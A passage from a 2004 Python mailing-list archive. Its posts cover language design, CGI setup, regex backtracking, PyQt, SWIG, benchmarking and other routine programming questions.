worth fixing. (if I were to fix it I would add an add_method method to 
classes)

> Another example. I make quite heavy use of a trivial memoizer. The
> closure verison is much shorter, clearer and faster.

Well it boils down to a question of who would believe it is clearer. 
Lisp programmers think mutable closures are clearer. Perl programmers 
think having a variety of different ways to spell "if" is clearer than 
having just one. Part of the Zen of Python is try to encourage different 
camps towards common spellings of idioms.

bash-2.05a$ python -c "import this" | grep way
There should be one-- and preferably only one --obvious way to do it.
Although that way may not be obvious at first unless you're Dutch.

> In short, whenever I want a _function_ which happens to have some
> internal state, I'd much rather use a closure than an instance of a class.

Barring the one ancient design misfeature above, callable instances are 
almost always good replacements for functions.

>>>all of which is irrelevant to my original point, which was to note
>>>out that saying "people don't use it much" is not a very convincing
>>>argument for not fixing something that is broken ... 
>>
>>OK, how about the argument above?
 > ...

OK, how about the argument at the top? If people needed it they would 
fake it as they do many other missing feature (in Python and other 
languages). That they don't fake it despite how easy it is to do so 
indicates that they don't need it.

  Paul Prescod





From soretha at aol.com  Fri Feb 27 03:19:54 2004
From: soretha at aol.com (yepp)
Date: Fri, 27 Feb 2004 09:19:54 +0100
Subject: 'Premature end of script headers' error when starting Apache in
	boot time
References: <mailman.84.1077690938.8594.python-list@python.org>
Message-ID: <a6b3h1-aq7.ln1@newsgate.lan>

Greeshma wrote:

> Hi all,
> 
> I have successfully configured Apache 2.0.4 with RedHat 7.3
> and use Python 2.2.3 for cgi scripts.
> ....... /usr/local/bin/python also has 755 permissions. .......

but it may not be in root's PATH. Try fiddling with the environment
variables.
yepp


From gerrit at nl.linux.org  Sat Feb  7 05:04:12 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Sat, 7 Feb 2004 11:04:12 +0100
Subject: Does shelve use cPickle or Pickle?
In-Reply-To: <7ed8f64d.0402062143.57a10f85@posting.google.com>
References: <7ed8f64d.0402062143.57a10f85@posting.google.com>
Message-ID: <20040207100412.GA10630@nl.linux.org>

Adrian B. wrote:
> Newbie question; does shelve use cPickle or Pickle?  Can it be specified?

cPickle if available, otherwise Pickle.
I think you would have to set shelve.{Pickler,Unpickler} to override
this.

Gerrit.

-- 
PrePEP: Builtin path type
    http://people.nl.linux.org/~gerrit/creaties/path/pep-xxxx.html
Asperger's Syndrome - a personal approach:
	http://people.nl.linux.org/~gerrit/english/



From http  Sun Feb 29 20:28:53 2004
From: http (Paul Rubin)
Date: 29 Feb 2004 17:28:53 -0800
Subject: Pure Python HTTPS Server
References: <mailman.183.1077835573.8594.python-list@python.org>
	<mailman.208.1077908506.8594.python-list@python.org>
	<7x4qtcozv5.fsf@ruckus.brouhaha.com>
	<47e891f1.0402280017.5f8af771@posting.google.com>
	<7xd67zsfqg.fsf@ruckus.brouhaha.com>
	<47e891f1.0402281027.21cc232d@posting.google.com>
	<7xllmnaub3.fsf@ruckus.brouhaha.com>
	<47e891f1.0402291501.1d42e0e2@posting.google.com>
Message-ID: <7xfzctnyne.fsf@ruckus.brouhaha.com>

trevp at trevp.net (Trevor Perrin) writes:
> > Use gmpy, http://gmpy.sf.net
> 
> That's another couple modules users have to install though (GMPY and
> GMP).  I was thinking the current pow() implementation could be
> optimized a bit.

My lib is written to use gmpy when it's available and the default
stuff if "import gmpy" fails.  The default stuff is fast enough on
current desktop cpu's for most client side applications that I can
think of.  For a server app, you always want more speed, but asking
someone to install GMP (if it's not already present) is less onerous.
GMP is included by default in a lot of GNU/Linux distros.


From sridharinfinity at yahoo.com  Tue Feb  3 10:08:28 2004
From: sridharinfinity at yahoo.com (Sridhar R)
Date: 3 Feb 2004 07:08:28 -0800
Subject: Deploying Python _Applications_
References: <930ba99a.0402012051.4ef9c3a5@posting.google.com>
	<4f0a9fdb.0402020353.8b2ea08@posting.google.com>
Message-ID: <930ba99a.0402030708.46437df5@posting.google.com>

miki.tebeka at zoran.com (Miki Tebeka) wrote in message news:<4f0a9fdb.0402020353.8b2ea08 at posting.google.com>...
> Hello Sridhar,
> 
> > 1. Installtion prefix contants '/usr/ or /usr/local'
> > 2. Some constants set during build (like 'HAVE_GTK2' in autoconf)
> > 
> > I searched the distutils documentation and seems to be distutils can't
> > handle these.
> > 
> > Any thoughts?
> You can write any code you like in the `setup.py' script.
> I use a .ini file with all these parameters written at install time
> (on M$ world NSIS is doing this). And then at run time the script load
> the .ini file and run.

  Do you mean I should write code (in setup.py) such that the user is
allowed to pass the prefix directory something like
./setup.py --prefix=/usr/local
  and the code should parse this install data files in
 @prefix/share/<appname>/...
  automatically.

  Well. I can do that.  But all I wanted is a _standard_ tool for
doing all these, something like distutils for python packages and
autoconf for any.  py2exe can be uses, but only in M$ Windows.
  Anything there specialised for python (like autoconf)

> HTH.
> Miki


From hilfmir at gmx.at  Tue Feb 24 02:40:47 2004
From: hilfmir at gmx.at (mzo)
Date: 23 Feb 2004 23:40:47 -0800
Subject: How can i get the parameternames of a non documented function ?
References: <mailman.216.1077557899.27104.python-list@python.org>
Message-ID: <2d0e7cf4.0402232340.3eae5aa4@posting.google.com>

"Robert Brewer" <fumanchu at amor.org> wrote in message news:<mailman.216.1077557899.27104.python-list at python.org>...
> Martin wrote:
> > I import a module (wrapped from c code) and have no documentation of
> > it. How can i find out the name of the parameters / head of the
> > functions ?
> 
> An example:
> 
> >>> import parser
> >>> dir(parser)
> ['ASTType', 'ParserError', 'STType', '  copyright  ', '  doc  ',
> '  file  ', '  name  ', '  version  ', ' pickler', 'ast2list',
> 'ast2tuple', 'compileast', 'compilest', 'expr', 'isexpr', 'issuite',
> 'sequence2ast', 'sequence2st', 'st2list', 'st2tuple', 'suite',
> 'tuple2ast', 'tuple2st']
> 
> 
> Robert Brewer
> MIS
> Amor Ministries
> fumanchu at amor.org

dir() return an alphabetized list of names comprising (some of) the
attributes
of the given object, and of attributes reachable from it. It does not
return the parameter for a function.

Example: 

>>> dir(parser.ast2list)
['__call__', '__class__', '__cmp__', '__delattr__', '__doc__',
'__getattribute__
', '__hash__', '__init__', '__module__', '__name__', '__new__',
'__reduce__', '_
_reduce_ex__', '__repr__', '__self__', '__setattr__', '__str__']
>>> help(parser.ast2list)
Help on built-in function ast2list:

ast2list(...)
    Creates a list-tree representation of an ST.
>>>
Help return (...) instead parameter - why ?? 


In Python manual: 
st2list(ast[, line_info])

How can i get (ast[, line_info]) without manual ? 

martin


From has.temp at virgin.net  Tue Feb 24 15:50:35 2004
From: has.temp at virgin.net (has)
Date: 24 Feb 2004 12:50:35 -0800
Subject: derivation: sick Python trick of the week
References: <mailman.177.1077495021.27104.python-list@python.org>
	<c1bobu$1g1p9e$1@ID-169208.news.uni-berlin.de>
	<73c38014.0402231338.1ce858e9@posting.google.com>
	<c1eddd$1h4621$1@ID-169208.news.uni-berlin.de>
Message-ID: <73c38014.0402241250.189d63e9@posting.google.com>

"Greg Ewing (using news.cis.dfn.de)" <wmwd2zz02 at sneakemail.com> wrote in message news:<c1eddd$1h4621$1 at ID-169208.news.uni-berlin.de>...
> has wrote:
> > Raised this idea on the PythonMac SIG last week; it died a quick death
> > once someone pointed out that boolean operators also perform flow
> > control
> 
> I do have a plan for handling that. Yes, it'll be non-trivial
> (although not too complicated, I hope), and yes, Guido probably
> won't like it much, but you never know 'till you try...

You certainly have my interest...

has


From mac at dgp.toronto.edu  Sat Feb  7 10:39:00 2004
From: mac at dgp.toronto.edu (Maciej Kalisiak)
Date: Sat, 07 Feb 2004 15:39:00 GMT
Subject: "ulimit -s" has no effect?
References: <877jz2f8l9.fsf@dgp.toronto.edu>
	<c00i0a$inl$2@news.service.uci.edu>
	<877jyzeesq.fsf@dgp.toronto.edu>
	<c01qib$po6$1@news.service.uci.edu>
Message-ID: <87hdy2hpbb.fsf@dgp.toronto.edu>

Josiah Carlson <jcarlson at nospam.uci.edu> writes:
> Any recursive algorithm can be unrolled into an iterative version.  The below
> is fairly generic, and relies on locals() being sane.
> 
> def blah():
>      stack = []
>      #set up initial local variables
>      a = dict(locals())
>      del a['a']
>      del a['stack']
>      stack.append(a)
>      while stack:
>          locals().update(stack.pop())
>          #do what you need for this loop
>          if need_to_recurse:
>              #save previous state
>              a = dict(locals())
>              del a['a']
>              del a['stack']
>              stack.append(a)
>              #save new local state
>              a = dict(locals())
>              del a['a']
>              del a['stack']
>              stack.append(a)
>          #recursion will happen automatically

Interesting.  Alas, I don't think I can use this.  First, this seems to only
apply to tail recursion, no?  In the Tarjan's algorithm recursion happens at
the beginning, on the children of a given node, and then the results of that
recursion are used in the computation for the current node.  Also, I think my
locals() won't be "sane"... it contains a huge graph; from what I understand
from the above, there would be multiple copies of it on `stack', and that's
just not feasible due to memory constraints.


From natsu_mizu_99 at yahoo.co.jp  Fri Feb 20 17:12:23 2004
From: natsu_mizu_99 at yahoo.co.jp (Natsu Mizutani)
Date: Sat, 21 Feb 2004 07:12:23 +0900
Subject: best way(s) to fit a polynomial to points?
References: <iuu4g1-kl1.ln1@jowls.lairds.org>
	<1033dpcqcubjg16@corp.supernews.com>
	<3of9g1-fuv.ln1@jowls.lairds.org>
	<1039mdpi4aeuj9b@corp.supernews.com>
Message-ID: <40368647.5000107@yahoo.co.jp>

Hi,

How about using `scipy.optimize` at http://www.scipy.org .

 From scipy_tutorial.pdf, it says
 >A collection of general-purpose optimization routines.
 > fmin -- Nelder-Mead Simplex algorithm
 > (uses only function calls)
 > fmin_powell -- Powell?s (modified) level set method (uses onlyfunction
 > calls)
 > fmin_bfgs -- Quasi-Newton method (can use function and gradient)
 > fmin_ncg -- Line-search Newton Conjugate Gradient (can usefunction,
 > gradient and hessian).
 > leastsq -- Minimize the sum of squares of M equations in N unknowns
 > given a starting estimate.

Note that if you want Win binary, you'll find them under
http://www.scipy.org/site_content/downloads
where you cannot reach by clicking links, I suppose.

-----
Natsu



From irmen at -NOSPAM-REMOVETHIS-xs4all.nl  Wed Feb  4 13:39:37 2004
From: irmen at -NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Wed, 04 Feb 2004 19:39:37 +0100
Subject: Python+CORBA Vs EJB!
In-Reply-To: <ba129ce7.0402041004.54228905@posting.google.com>
References: <ba129ce7.0402041004.54228905@posting.google.com>
Message-ID: <40213c69$0$330$e4fe514c@news.xs4all.nl>

John wrote:

> Please note that I want to compare CORBA development in Python with
> EJB, not CORBA in general with EJB.

You're trying to compare the wrong things.
CORBA is a distributed object communications protocol with
standardized services, EJB is Java's enterprise component
technology. What do you want to compare??

--Irmen



From pmjcovello at shaw.ca  Sun Feb  8 16:02:45 2004
From: pmjcovello at shaw.ca (Thomas Covello)
Date: Sun, 08 Feb 2004 21:02:45 GMT
Subject: Extended slice notation doesn't recognise integer
References: <pan.2004.02.08.20.20.46.250645@shaw.ca>
Message-ID: <pan.2004.02.08.21.06.41.400405@shaw.ca>

Thanks. I'll upgrade python.


From SCPO1-SA at c-cor.net  Sun Feb  1 08:02:33 2004
From: SCPO1-SA at c-cor.net (System Attendant)
Date: Sun, 1 Feb 2004 08:02:33 -0500 
Subject: ScanMail Message: To Sender, action taken by attachment blocking 
	feature.
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ScanMail for Microsoft Exchange has blocked a file attachment(s).

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From abcdebl2nonspammy at verizon.net  Sun Feb 29 13:00:29 2004
From: abcdebl2nonspammy at verizon.net (David Lees)
Date: Sun, 29 Feb 2004 18:00:29 GMT
Subject: Speed Comparison Perl Python & C
In-Reply-To: <c1t89m$a3u$1@solaris.cc.vt.edu>
References: <c1t89m$a3u$1@solaris.cc.vt.edu>
Message-ID: <1Np0c.10708$C65.3685@nwrddc01.gnilink.net>

Bart Nessux wrote:
> Just fooling around this weekend. Wrote and timed programs in C, Perl and
> Python. Each Program counts to 1,000,000 and prints each number to the
> console as it counts. I was a bit surprised. I'm not an expert C or Perl
> programming expery, I'm most familiar with Python, but can use the others
> as well.
> 
> Here are my results:
> 
> C = 23 seconds
> Python = 26.5 seconds
> Perl = 34.5 seconds
> 
> Here are the programs:
> 
> -------------------------
> #The C version:
> -------------------------
> 
> #include <stdio.h>
> 
> int main(void)
> {
> int x = 0;
> while (x < 1000000) {
>    printf("%d \n", x++);
>    }
> }
> 
> -------------------------
> #The Python version:
> -------------------------
> 
> #!/usr/bin/python
> 
> x = 0
> while x < 1000000:
>    x = x + 1
>    print x
> 
> -------------------------
> #The Perl version:
> -------------------------
> 
> #!/usr/bin/perl -Tw
> 
> use strict;
> 
> my $x = 0;
> while($x < 1000000) {
>    print $x++, "\n";
>    }
> 
> What do you guys think of this? I don't know enough about Perl & C, and
> perhaps Python, to know if this was indeed a fair test. I thought C would
> do this much faster than it did. Any ideas? 
> 
> 
> 
> 
I don't think your times have much to do with the languages.  They are 
just how long whatever I/O library is used by a particular language 
takes.  I would guess that the loop overhead is small compared with the 
I/O formatting and output times in your example.

You should do a Google search on 'Python+benchmarks'.  Benchmarking is 
tricky and you need to consider what you are trying to compare.

David Lees



From erdewit at d-e-l-e-t-e.zonnet.nl  Fri Feb 20 05:42:23 2004
From: erdewit at d-e-l-e-t-e.zonnet.nl (Ewald R. de Wit)
Date: Fri, 20 Feb 2004 10:42:23 +0000 (UTC)
Subject: QWidget casts with PyQt?
References: <ae5c48d7.0402180304.6fa2aea9@posting.google.com>
Message-ID: <slrnc3bp4g.21r.erdewit@s15114.LeidenUniv.nl>

Stefan Quandt wrote:
> I want to access widgets from a Qt container widget e.g.
>   item = ToolBox.item( 0 )
> 
> I know that the item is a QButtonGroup.
> The Qt-Library returns a QWidget pointer.
> So what I get is a Python QWidget wrapper object.

This is quite a general problem for which I would like to know
a solution too.

-- 
  --  Ewald



From http  Wed Feb 18 16:24:45 2004
From: http (Paul Rubin)
Date: 18 Feb 2004 13:24:45 -0800
Subject: Human validation with an image
References: <2ca51434.0402181235.460befe3@posting.google.com>
Message-ID: <7xk72k2i8y.fsf@ruckus.brouhaha.com>

ml71 at katamail.com (DrPike) writes:
> The idea should be to send a light image containig an alphanumeric
> string, with a bit of manipulation (eg. bkground noise, distortions
> and so on) in order to make a possible interpretation by humans but
> programs.

See www.captcha.net.


From wmgill at gcgroup.net  Mon Feb 23 10:07:36 2004
From: wmgill at gcgroup.net (William D. Gill)
Date: Mon, 23 Feb 2004 10:07:36 -0500
Subject: using CGIHTTPserver to test html forms
Message-ID: <55125$403a17df$42a655ea$9537@msgid.meganewsservers.com>

I use a notebook (win 98) because of its portability.  Unfortunately it is
very slow.  When I try to develop and test python cgi scripts I use Xitami
as a local server, but with python, Xitami, and my text editor running it
becomes next to impossible to work.  The keyboard and mouse are slowed to
painful levels.  Actual execution of the webpage/script is tolerable, but to
edit I have to stop the server.  I was wondering if using CGIHTTPserver
would be a better solution and if anyone can give me an example script
(simple enough for a newbie).  Every reference I see to CGIHTTPserver says
it's good for testing your web forms, but they don't show me how.

Thanks

Bill






From rus20376 at salemstate.edu  Fri Feb 13 14:12:58 2004
From: rus20376 at salemstate.edu (omission9)
Date: 13 Feb 2004 11:12:58 -0800
Subject: way to remove all non-ascii characters from a file?
Message-ID: <defa238f.0402131112.436997c1@posting.google.com>

I have a text file which contains the occasional non-ascii charcter.
What is the best way to remove all of these in python?


From tjreedy at udel.edu  Sun Feb 22 00:15:30 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Sun, 22 Feb 2004 00:15:30 -0500
Subject: Is there an easier way to break a list into sub groups
References: <92c59a2c.0402212013.2e0fa89b@posting.google.com>
Message-ID: <c19dtj$hd0$1@sea.gmane.org>


"MetalOne" <jcb at iteris.com> wrote in message
news:92c59a2c.0402212013.2e0fa89b at posting.google.com...
> The following does what I want, but I feel like this could maybe be a
> one liner.
> I just can't think of anything shorter.
> If there is nothing shorter, does this seem like a candidate for
> inclusion in the standard library somewhere.
>
> >>> def groups(l, n):
>       """l is an input list.
>          n is the size of the sub group
>          returns a list of the sub groups
>       """
> ...   i=0
> ...   g = []
> ...   while i < len(l):
> ...     g.append(l[i:i+n])  #append sub group to g
> ...     i+=n
> ...   return g
> ...
> >>> l = [1,2,3,4,5,6]
> >>> groups(l,2)
> [[1, 2], [3, 4], [5, 6]]
> >>> groups(l,3)
> [[1, 2, 3], [4, 5, 6]]
> >>> groups(l,4)
> [[1, 2, 3, 4], [5, 6]]

I believe there was a thread on this very question perhaps 6 months ago.
Maybe you can find it on Google.

tjr






From joe at notcharles.ca  Tue Feb 10 20:17:56 2004
From: joe at notcharles.ca (Joe Mason)
Date: Wed, 11 Feb 2004 01:17:56 GMT
Subject: approach to writing functions
References: <c09f8c$l2f$1@solaris.cc.vt.edu>
	<mailman.1398.1076388640.12720.python-list@python.org>
	<slrnc2i5ut.7jp.joe@gate.notcharles.ca>
	<mailman.1429.1076442099.12720.python-list@python.org>
Message-ID: <slrnc2iv4q.8fu.joe@gate.notcharles.ca>

In article <mailman.1429.1076442099.12720.python-list at python.org>, Terry Reedy wrote:
>>I would say being able to read, edit and reuse is most
>> important, then working correctly, then running fast enough.  Because
>> there are always going to be bugs that you don't find for a few months,
>> so even if you think it works correctly, you're probably wrong.
> 
> In a 100,000 line app, sure, there 'inevitably' will be behaviors less that
> perfect.
> But in the context of writing one page functions, I find this to be a
> flabbergasting statement.  If the OP's example were to raise a syntax error
> or other exception, or gather info about the wrong user, or gather
> incorrect info, or email to the wrong address, or print instead of
> emailing, then it would be useless and would need to be fixed now and not
> months from now.

I include misdesigns and lack of functionality here...  Apart from that
the ordering doesn't really matter for small functions because it's
trivial to be both clear and correct.

I thought we were talking about how to break down large apps into
functions, though - I didn't read teh original post closely enough.

Joe


From adam at gliwice.pl  Sun Feb 22 09:14:44 2004
From: adam at gliwice.pl (Adam Przybyla)
Date: Sun, 22 Feb 2004 14:14:44 +0000 (UTC)
Subject: Some source code
References: <d8778a53.0402212014.7a292318@posting.google.com>
Message-ID: <c1adgj$qgl$1@atlantis.news.tpi.pl>


nnes <pruebauno at latinmail.com> wrote:
> file('output.txt','w').writelines(['%s,"%s"\n' % (line[:-1],
>     sum(map(int,line[1:-2].split('","')))) for line in
>     file('input.txt')])
file('output.txt','w').writelines(['%s,"%s"\n' % 
      (line[:-1],sum(eval(line[1:-2]))) for line in file('input.txt')])
Regards
								Adam Przybyla


From feb04.20.netman at spamgourmet.com  Sat Feb 28 14:56:54 2004
From: feb04.20.netman at spamgourmet.com (Chris)
Date: Sat, 28 Feb 2004 19:56:54 GMT
Subject: Type emulation issues with new style classes
References: <C0%%b.4538$qX5.249@nwrdny03.gnilink.net>
	<epq140d8mc52qfqlujq1m03cbjuh9s7moo@4ax.com>
Message-ID: <ao60c.7451$TF2.4563@nwrdny02.gnilink.net>

I tried your suggestion, but it breaks down when in the case where I want a
emulation method to be undefined.  See example below.

Okay, it looks lke I'm going to have to come to the realization that there
is no way to hook into Python's test for the existance of emulation methods,
so I'm going to have to explicitly define every single possible emulation
method, from __add__ to __xor__.  But still, how do I have __add__ return a
special value or throw a special exception so that the interpreter will then
move on to try __radd__?

### Works with old style classes ###
class Y:
    value = 42
    def __getattr__(self, name):
        if name == '__coerce__':
            raise AttributeError
        if name == '__add__':
            raise AttributeError
        if name == '__int__':
            return lambda: self.value
        if name == '__radd__':
            return lambda other: self.value + other.value

>>> y1, y2 = Y(), Y()
>>> print int(y1)
42
>>> print y1 + y2
84


### With new style classes, __radd__ is never called ###
class DynOperDescr(object):
    def __init__(self, name):
        self.name = name
    def __get__(self, instance, typ):
        if instance is None:
            return self
        return instance.__getattr__(self.name)

def AddDynOper(declcls, name):
    if not hasattr(declcls, name):
        setattr(declcls, name, DynOperDescr(name))

class Z(object):
    value = 42
    def __getattr__(self, name):
        if name == '__radd__':
            return lambda other: Z.value + Z.value
        if name == '__int__':
            return lambda: self.value
        raise AttributeError(name)

AddDynOper(Z, "__int__")
AddDynOper(Z, "__add__")
AddDynOper(Z, "__radd__")

>>> z1, z2 = Z(), Z()
>>> print int(z1)
42
>>> print z1 + z2
AttributeError: __add__


"Greg Chapman" wrote:
> On Sat, 28 Feb 2004 11:33:54 GMT, "Chris"
<feb04.20.netman at spamgourmet.com>
> wrote:
>
> >class Z(object):
> >    value = 42
> >    def __hasattr__(self, name):
> >        if name == '__int__':
> >            return True
> >    def __getattr__(self, name):
> >        if name == '__int__':
> >            return lambda: self.value
>
> The following allows your test case to work, but it may have various
subtle
> problems.  AddDynOper emulates __getattr__ semantics: the descriptor is
not
> installed if the type already has an attribute of the given name:
>
> class DynOperDescr(object):
>     def __init__(self, name):
>         self.name = name
>     def __get__(self, instance, typ):
>         if instance is None:
>             return self
>         return instance.__getattr__(self.name)
>
> def AddDynOper(declcls, name):
>     if not hasattr(declcls, name):
>         setattr(declcls, name, DynOperDescr(name))
>
> class Z(object):
>     value = 42
>     def __getattr__(self, name):
>         if name == "__int__":
>             return lambda : self.value
>         raise AttributeError(name)
> AddDynOper(Z, "__int__")
>
> ---
> Greg Chapman
>




From fortepianissimo at yahoo.com.tw  Sun Feb  8 14:29:35 2004
From: fortepianissimo at yahoo.com.tw (fortepianissimo)
Date: Sun, 8 Feb 2004 11:29:35 -0800 (PST)
Subject: regex searching hangs
In-Reply-To: <LNBBLJKPBEHFEDALKOLCCECLINAB.tim.one@comcast.net>
Message-ID: <20040208192935.3540.qmail@web16913.mail.tpe.yahoo.com>

Thanks Tim,

--- Tim Peters <tim.one at comcast.net> wrote:
> [Fortepianissimo]
> > Could someone explains why the following code hangs (Python 2.3.3)?
> 
> Yes, but it's not hung, and the answer is involved.  Jeffrey Friedl
> wrote a
> book about it, "Mastering Regular Expressions" (O'Reilly).  Chapter 4
> is
> available (free) online, and is relevant:
> 
>     http://www.oreilly.com/catalog/regex/chapter/ch04.html

Good pointer - guess this is new stuff added in the second ed...

> > --- CODE STARTS ---
> > import re
> >
> > p=re.compile(r'\S+(?:\.\S+)+\.com')
> >
> > t='......................................'
> > p.search(t)
> > --- CODE ENDS ---
> 
> Run this instead, and you should see that the failure to match takes
> time
> exponential in the number of periods (add a period, and the time
> roughly
> doubles):
> (... )
> Semantically, the nested loop
> 
>     (?:\.\S+)+
> 
> part matches every string of length >= 2 that starts with a period
> and doesn't contain whitespace.  

Yup I now see the problem. This coupled with the prefix "\S+" forces
Python to "start" matching "(?:\.\S+)+" from any position, and the
trailing "\.com" forces it to "stop" matching "(?:\.\S+)+" at any
position and to start matching "\.com". Removing "\.com" greatly speeds
up the process. In short, this gives gozillion possibilities for
matching.

> > is halting problem a problem here?
> 
> Not in theory, but in practice a match attempt that takes longer than
> the
> age of the universe may be a minor annoyance <wink>.

It would be nice if a "cut-off" value can be passed in so as long as #
of branches reaches the value, the search stops and returns something
to indicate a pre-mature termination.

__________________________________
Do you Yahoo!?
Yahoo! Finance: Get your refund fast by filing online.
http://taxes.yahoo.com/filing.html



From llothar at web.de  Sun Feb  8 07:54:03 2004
From: llothar at web.de (Lothar Scholz)
Date: 8 Feb 2004 04:54:03 -0800
Subject: efficient way for building class browsers.
References: <930ba99a.0402071805.15b90424@posting.google.com>
	<c04nvs$h6j$1@news.service.uci.edu>
Message-ID: <6ee58e07.0402080454.19f5e81c@posting.google.com>

Josiah Carlson <jcarlson at nospam.uci.edu> wrote in message news:<c04nvs$h6j$1 at news.service.uci.edu>...
> > I am looking for a class browser that has these features.
> 
> Only a browser?  Text or GUI?  What OS?  Any particular GUI toolkit?
> 
> > Remember I need a class browser, that also tells me the line no in
> > source code of that symbol. (So compiler module  (ast) can't be used -
> > Is it so? )
> 
> compiler.ast can be used for this, but only produces proper results when 
> the file has no syntax errors.  Don't get me wrong, using the output of 
> compiler.ast can be a pain in the ass, and slow as hell (5 seconds for 
> 100k of source on a celeron 400), but it can be used.
> 
> > Are there any better ways for achieving this?
> 
> You can write a limited parser (subject to certain flaws), one that 
> doesn't use tokenize or compiler.ast, and get pretty fast results.  I 
> wrote one to go into my own editor PyPE (pype.sourceforge.net), and it 
> has no problems parsing a 100k Python source file and displaying the 
> source tree in a GUI in less than 1/2 second on a celeron 400.

Thats slow i have a parser that parses 100k in less then 15 ms on a
1,2 GHz system. It will be part of "http://www.python-ide.com"
It is a 100% GNU Eiffel solution which generates plain C code.

I think the 1/2 second could also be done with some intelligent
regexpr's. There is something like this in the IDLE code.


From jcarlson at nospam.uci.edu  Wed Feb 25 17:24:21 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Wed, 25 Feb 2004 14:24:21 -0800
Subject: Memory Leak ['LBBW': checked]
In-Reply-To: <mailman.102.1077718723.8594.python-list@python.org>
References: <mailman.102.1077718723.8594.python-list@python.org>
Message-ID: <c1j7fk$o67$2@news.service.uci.edu>

> alist[:] creates a shallow copy of alist, which is a new object. del then
> decreases the refcount of this
> temporary object, thus it is destroyed. But why is the original alist empty
> after that, why are the
> list elements destroyed?
> Does that mean if a shallow copy of a list is created, the refcounts of the
> elements in the list are not increased?

Because del alist[:] is a special case.

Check the documentation on mutable sequence types:
http://www.python.org/doc/lib/typesseq-mutable.html

  - Josiah


From jepler at unpythonic.net  Thu Feb 19 19:11:47 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Thu, 19 Feb 2004 18:11:47 -0600
Subject: Generating a large random string
In-Reply-To: <KLaZb.7624$Cd6.689008@news20.bellglobal.com>
References: <4034D506.2E37519A@netsurf.de>
	<KLaZb.7624$Cd6.689008@news20.bellglobal.com>
Message-ID: <20040220001147.GG11071@unpythonic.net>

I'm pretty sure that the two methods you mention don't give results with
the same distribution.

Instead of letters, let's choose from "01", and choose a string of
length 2.

def f1():
    return ''.join([choice("01") for i in xrange(2)])

def f2():
    return ''.join(sample("01" * 2, 2))

def test():
    for f in (p1, p2):
        p = {}
        for i in range(1000):
            o = f()
            p[o] = p.get(o, 0) + 1
        print p

[jepler at parrot src]$ ./python /tmp/ross.py 
{'11': 25212, '10': 24904, '00': 24996, '01': 24888}
{'11': 16800, '10': 33289, '00': 16705, '01': 33206}

As you can see p1 picks evenly from the 4 alternatives, while p2 favors
the outcomes that have different contents (01 and 10) over the ones that
are a repetition of the same symbol (00 and 11).


Jeff



From jeremy at jdyallop.freeserve.co.uk  Sun Feb 29 13:09:05 2004
From: jeremy at jdyallop.freeserve.co.uk (Jeremy Yallop)
Date: 29 Feb 2004 18:09:05 GMT
Subject: Speed Comparison Perl Python & C
References: <c1t89m$a3u$1@solaris.cc.vt.edu>
Message-ID: <slrnc44am1.68n.jeremy@kaje.cl.cam.ac.uk>

Bart Nessux wrote: 
> Each Program counts to 1,000,000 and prints each number to the
> console as it counts.

Run the programs again, redirecting the output to a file.

Jeremy.


From tismer at stackless.com  Fri Feb 27 22:07:53 2004
From: tismer at stackless.com (Christian Tismer)
Date: Sat, 28 Feb 2004 04:07:53 +0100
Subject: Python as replacement for PHP?
In-Reply-To: <c1oio8$rfc$1@solaris.cc.vt.edu>
References: <403fa54b@news.zianet.com>
	<c1obji$8m9$1@solaris.cc.vt.edu>	<mailman.221.1077919048.8594.python-list@python.org>
	<c1oio8$rfc$1@solaris.cc.vt.edu>
Message-ID: <40400609.1050509@stackless.com>

Bart Nessux wrote:

...

> Sorry, I disagree. As a business decision, it does border on stupidity. Why
> contemplate doing something with Python that would be tedious and difficult
> at best when PHP can do this task easily and quickly??? From a business
> (read practical point of view) it's stupid. From a religious (Mac fanatic
> like point of view), it makes sense.

Hey, god-father!
What enables you to make such all-or-nothing statements.
I'm very impressed by your visdom.

Do you know on which list you are posting? No?
It's name is Python.
This is a list for kind, open people, known to be open for
new ideas, always being open-minded, always talking after
thinking, and they never do thoughtless, absolute statements.
Especially, they never judge about things they have no idea about.

Therefore, I think you can do a much more elaborate, much more
detailed posting, instead of giving such statements, which
nobody can verify, especially if (s)he has different experience.

But I don't really care. Carry on with your own business decision.
Fortunately, it is not my decision, and even better,
I don't depend on it, what a relief! I'm sorry for others who do.

> The OP spoke of a DB driven dynamic Web site. One cannot think of such a
> thing without naturally thinking of PHP... python should not even come to
> mind for this task. Backend/server-side processing, sure, but not on the
> frontend. Use the RIGHT tool for the job. Python isn't the right tool here.

Unless you give us some more proof for your statements,
I only can say, with an unhappy absolute statement:

*You are absolutely, completely wrong*.

Please, try to prove your claims or spoil a different list
with such statements. I see no evidence, since I have very
different experience, and I *did* try more than one approach,
before speaking up this way!

For a more friendly reply, see Dave Brueck's post.
I couldn't do that.

annoyed-ly-shutting-up -- chris

p.s.: don't start a flame war. I won't answer. I will also not
begin to give you a private tutorial for free.
-- 
Christian Tismer             :^)   <mailto:tismer at stackless.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  mobile +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/




From merkosh at hadiko.de  Mon Feb 16 07:24:22 2004
From: merkosh at hadiko.de (Uwe Mayer)
Date: Mon, 16 Feb 2004 13:24:22 +0100
Subject: swig problem
Message-ID: <c0qcpm$sir$1@news.rz.uni-karlsruhe.de>

Hi,

I was trying to extend a Qt class in C++ and using this in my Python
application. I got problems importing the python module:

I was extending QListViewItem to QListViewItemNumeric. Then I used the
following to generate the python extension:

$ gcc -c -I/usr/include/qt3 -I/usr/include/python2.3
QListViewItemNumeric.cpp

Then I used swig with an interface file:
-- snip --
%module QListViewItemNumeric
%{
#include <qlistview.h>
#include "QListViewItemNumeric.h"
%}
class QListViewItemNumeric : public QListViewItem {
public:
  QListViewItemNumeric( QListView * parent );
  virtual void setNumeric( int columns = 0 );
};
-- pins --

And compiled the result:

$ swig -c++ -python QListViewItemNumeric.i \
QListViewItemNumeric.i:6: Warning(401): Nothing known about class
'QListViewItem'. Ignored.

$ gcc -c -I/usr/include/qt3 -I/usr/include/python2.3 \
